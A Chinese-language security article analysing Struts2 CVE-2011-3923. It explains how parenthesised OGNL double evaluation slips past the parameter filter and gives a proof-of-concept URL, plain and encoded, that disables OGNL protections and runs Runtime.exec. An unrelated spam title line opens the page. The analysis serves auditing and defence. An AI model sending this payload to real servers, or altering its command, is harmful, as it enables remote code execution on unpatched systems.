自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Struts2漏洞分析之Ognl表達(dá)式特性引發(fā)的新思路

安全 應(yīng)用安全
在Ognl表達(dá)式中,會(huì)將被括號(hào)“()”包含的變量?jī)?nèi)容當(dāng)做Ognl表達(dá)式執(zhí)行。Ognl表達(dá)式的這一特性,引發(fā)出一種新的攻擊思路。通過(guò)將惡意代碼存儲(chǔ)到變量中,然后在調(diào)用Ognl表達(dá)式的函數(shù)中使用這個(gè)變量來(lái)執(zhí)行惡意的代碼,從而實(shí)現(xiàn)攻擊。

一、摘要

在Ognl表達(dá)式中,會(huì)將被括號(hào)“()”包含的變量?jī)?nèi)容當(dāng)做Ognl表達(dá)式執(zhí)行。Ognl表達(dá)式的這一特性,引發(fā)出一種新的攻擊思路。通過(guò)將惡意代碼存儲(chǔ)到變量中,然后在調(diào)用Ognl表達(dá)式的函數(shù)中使用這個(gè)變量來(lái)執(zhí)行惡意的代碼,從而實(shí)現(xiàn)攻擊。

本文將會(huì)以CVE-2011-3923漏洞作為示例,描述這種利用思路的具體過(guò)程。但是,本文的內(nèi)容絕不僅僅局限于這個(gè)漏洞,在實(shí)際的審計(jì)過(guò)程中,這種思路可以用來(lái)發(fā)現(xiàn)很多類似的漏洞。

二、背景介紹與原理分析

這個(gè)漏洞和CVE-2010-1870很相似,都是是通過(guò)Ognl表達(dá)式執(zhí)行java,來(lái)達(dá)到遠(yuǎn)程代碼執(zhí)行的效果。我們先來(lái)回顧下CVE-2010-1870漏洞,它是攻擊者通過(guò)get方法提交Ognl表達(dá)式,直接來(lái)調(diào)用java的靜態(tài)方法來(lái)實(shí)現(xiàn)代碼執(zhí)行。這個(gè)問(wèn)題爆出來(lái)后,struts官方加強(qiáng)了對(duì)于用戶提交內(nèi)容的審核,禁止使用“#”、“\”等特殊字符作為參數(shù)提交。

那么這樣我們就沒(méi)有辦法遠(yuǎn)程執(zhí)行Ognl表達(dá)式了嗎?當(dāng)然不,Ognl給我們提供了另一種執(zhí)行它的方法,我們來(lái)看下官方文檔中一部分的內(nèi)容:

For example, this expression

#fact(30H)

looks up the fact variable, and interprets the value of that variable as an OGNL expression using the BigInteger representation of 30 as the rootobject. See below for an example of setting the fact variable with an expression that returns the factorial of its argument. Note that there is an ambiguity in OGNL's syntax between this double evaluation operator and a method call. OGNL resolves this ambiguity by calling anything that looks like a method call, a method call. For example, if the current object had a fact property that held an OGNL factorial expression, you could not use this approach to call it

fact(30H)

because OGNL would interpret this as a call to the fact method. You could force the interpretation you want by surrounding the property reference by parentheses:

(fact)(30H)

Ognl表達(dá)式給我們提供了“#fack()”這樣調(diào)用上下文對(duì)象方法的功能,我們需要留意的是紅色文字,大概的意思如下:如果你想要調(diào)用上下文環(huán)境中對(duì)象的方法,可以使用“(fact)()”這種格式來(lái)書(shū)寫。

而在測(cè)試過(guò)程中發(fā)現(xiàn),(one)(two)這種形式的Ognl表達(dá)式,會(huì)先將one當(dāng)做另一個(gè)Ognl表達(dá)式先執(zhí)行一遍,然后再繼續(xù)他后面的工作。這樣的話,如果程序在調(diào)用某一可以執(zhí)行Ognl表達(dá)式的函數(shù)時(shí),我們通過(guò)變量將惡意的表達(dá)式傳入,那么,struts所做的那些過(guò)濾便成為了一扇“透明的門”。

三、實(shí)例模擬與跟蹤

在正常的調(diào)用中,我們找到了setValue這個(gè)函數(shù),它的作用是根據(jù)Ognl表達(dá)式對(duì)目標(biāo)進(jìn)行賦值,在這個(gè)過(guò)程中Ognl表達(dá)式會(huì)執(zhí)行。而struts2中通過(guò)在繼承ActionSupport的類中,設(shè)置setter和getter方法,可以實(shí)現(xiàn)用戶通過(guò)get和post方法直接為私有成員變量賦值。這種方法便會(huì)用到setValue這個(gè)函數(shù)。下面我們來(lái)搭建一個(gè)這樣的類:

package action;

import ognl.Ognl;

import com.opensymphony.xwork2.ActionSupport;

public class HelloWorld extends ActionSupport{

private String tang3;

public void settang3(String tang3) {

this.tang3 = tang3;

}

public String gettang3() {

return tang3;

}

public String execute() throws Exception {

System.out.println(tang3);

return SUCCESS;

}

}

上面的這段代碼只是簡(jiǎn)單的實(shí)現(xiàn)了接受參數(shù)“tang3”,并將它的內(nèi)容打印到控制臺(tái)中的功能。在跟蹤它的過(guò)程中發(fā)現(xiàn),用戶提交的參數(shù)時(shí),會(huì)通過(guò)調(diào)用com.opensymphony.xwork2.interceptor.ParametersInterceptor這個(gè)類中的set Parameters方法來(lái)獲取參數(shù),而這個(gè)方法會(huì)調(diào)用setValue函數(shù),代碼如下:

if (acceptableName) {

Object value = entry.getValue();

try {

stack.setValue(name, value); //紅色字體

} catch (RuntimeException e) {

注意紅色字體部分,name參數(shù)是Ognl表達(dá)式部分,value是被賦值的對(duì)象,而之前的CVE-2010-1870漏洞,也是通過(guò)這個(gè)函數(shù)執(zhí)行的Ognl表達(dá)式。下面我們來(lái)看下如何結(jié)合前面講到的內(nèi)容來(lái)讓這個(gè)函數(shù)執(zhí)行我們需要的Java代碼。

按照之前我們所說(shuō)的Ognl表達(dá)式特性,我們應(yīng)該構(gòu)造這樣的url:

/helloword.acton?tang3=<OGNL statement>&(tang3)('meh')=1

提交這樣的url后,web server將會(huì)做兩件事,第一,將Ognl表達(dá)式內(nèi)容存進(jìn)了tang3變量中;第二,名為(tang3)('meh')的http參數(shù)將會(huì)被當(dāng)做另一個(gè)Ognl表達(dá)式執(zhí)行,并且action屬性tang3將會(huì)從action中恢復(fù)內(nèi)容,即變成了(<OGNL statement>)(‘meh’)。

因?yàn)閔ttp參數(shù)傳入到變量中會(huì)自動(dòng)進(jìn)行url解碼,那么我們便可以使用url編碼“#”這樣的特定字符,來(lái)繞過(guò)正則表達(dá)式的過(guò)濾。

在構(gòu)造語(yǔ)句中還需要注意的一點(diǎn)就是,我們要確保tang3屬性中的內(nèi)容先被執(zhí)行。所以這里需要一個(gè)小技巧,在提交參數(shù)時(shí),使用z[(tang3)(‘meh’)]=1這種形式的參數(shù),可以確保tang3變量被首先執(zhí)行。下面我們構(gòu)造一條可以彈出計(jì)算器的url:

/helloworld.action?tang3=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true, @java.lang.Runtime@getRuntime().exec('calc'))(meh)&z[(tang3)('meh')]=1

url編碼后:

/helloworld.action?tang3=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%[email]20@java.lang.Runtime[/email]@getRuntime%28%29.exec%28%27calc%27%29%29%28meh%29&z[%28tang3%29%28%27meh%27%29]=1

效果如下圖:

[[106190]]

從最下面的紅色框中,我們可以看出,控制臺(tái)打印出的tang3變量的內(nèi)容,就是我們剛才輸入的代碼。

四、總結(jié)

1. 這個(gè)漏洞的利用方法,存在局限性,目標(biāo)代碼需要有一個(gè)私有成員變量可以直接通過(guò)http參數(shù)賦值。同時(shí),攻擊者需要知道這個(gè)私有成員的名字。不過(guò)從代碼審計(jì)的角度來(lái)看,可以很容易發(fā)現(xiàn)這種問(wèn)題。但是,由于大部分使用struts框架搭建的網(wǎng)站都是閉源的,導(dǎo)致很難進(jìn)行白盒測(cè)試。

2. 這個(gè)問(wèn)題在struts2.3.1.2版本之后便已經(jīng)修復(fù)了,官方補(bǔ)丁的修復(fù)原文如下:

The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names.

Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.

修復(fù)方法就是,進(jìn)一步減少ParameterInterceptor中白名單包含的內(nèi)容,并且禁止參數(shù)名執(zhí)行正則表達(dá)式

3. Ognl表達(dá)式的強(qiáng)大,能夠明顯的從struts所爆出的這些漏洞中看出。只要存在調(diào)用Ognl表達(dá)式的函數(shù),都有可能出現(xiàn)代碼執(zhí)行問(wèn)題。我在之前的《Struts2漏洞淺析之Ongl代碼執(zhí)行分析》一文中,稱findValue為struts中的eval函數(shù),明顯的有些狹隘了。Ognl表達(dá)式才稱得上是eval函數(shù),在代碼的編寫的過(guò)程中要小心的處理它的表達(dá)式。

4. 再次重申在本文開(kāi)始處所強(qiáng)調(diào)的,這篇文章并不僅僅局限于CVE-2011-3923這個(gè)漏洞,而且,它已經(jīng)被修補(bǔ)了。本文的目的是,希望讀者能夠通過(guò)這個(gè)漏洞,了解到通過(guò)括號(hào)包裹變量,執(zhí)行Ognl表達(dá)式這個(gè)特性,以此為我們?cè)谌蘸蟮膶徲?jì)增加一個(gè)思路。

責(zé)任編輯:藍(lán)雨淚 來(lái)源: 紅黑聯(lián)盟
相關(guān)推薦

2012-03-08 13:15:10

JavaStrutsOGNL

2009-06-08 16:44:00

struts2 ogn

2013-07-19 09:36:04

struts2struts2漏洞

2012-12-18 16:18:06

2013-07-18 15:09:27

2014-04-25 09:43:54

2017-07-11 09:42:22

漏洞

2022-05-26 08:53:47

Go函數(shù)代碼

2016-06-08 10:09:24

2013-07-22 10:45:56

2013-07-24 10:35:02

2009-06-08 16:44:00

Struts2文件上傳

2013-05-22 10:28:19

2017-03-15 15:21:59

數(shù)據(jù)包漏洞攻擊

2009-07-29 09:54:34

struts2和str

2013-07-18 15:57:42

2021-05-05 11:31:15

JDK新特性Lambda表達(dá)式Java8

2016-04-29 10:58:13

2017-07-14 13:51:19

2017-05-12 10:47:45

Linux正則表達(dá)式程序基礎(chǔ)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)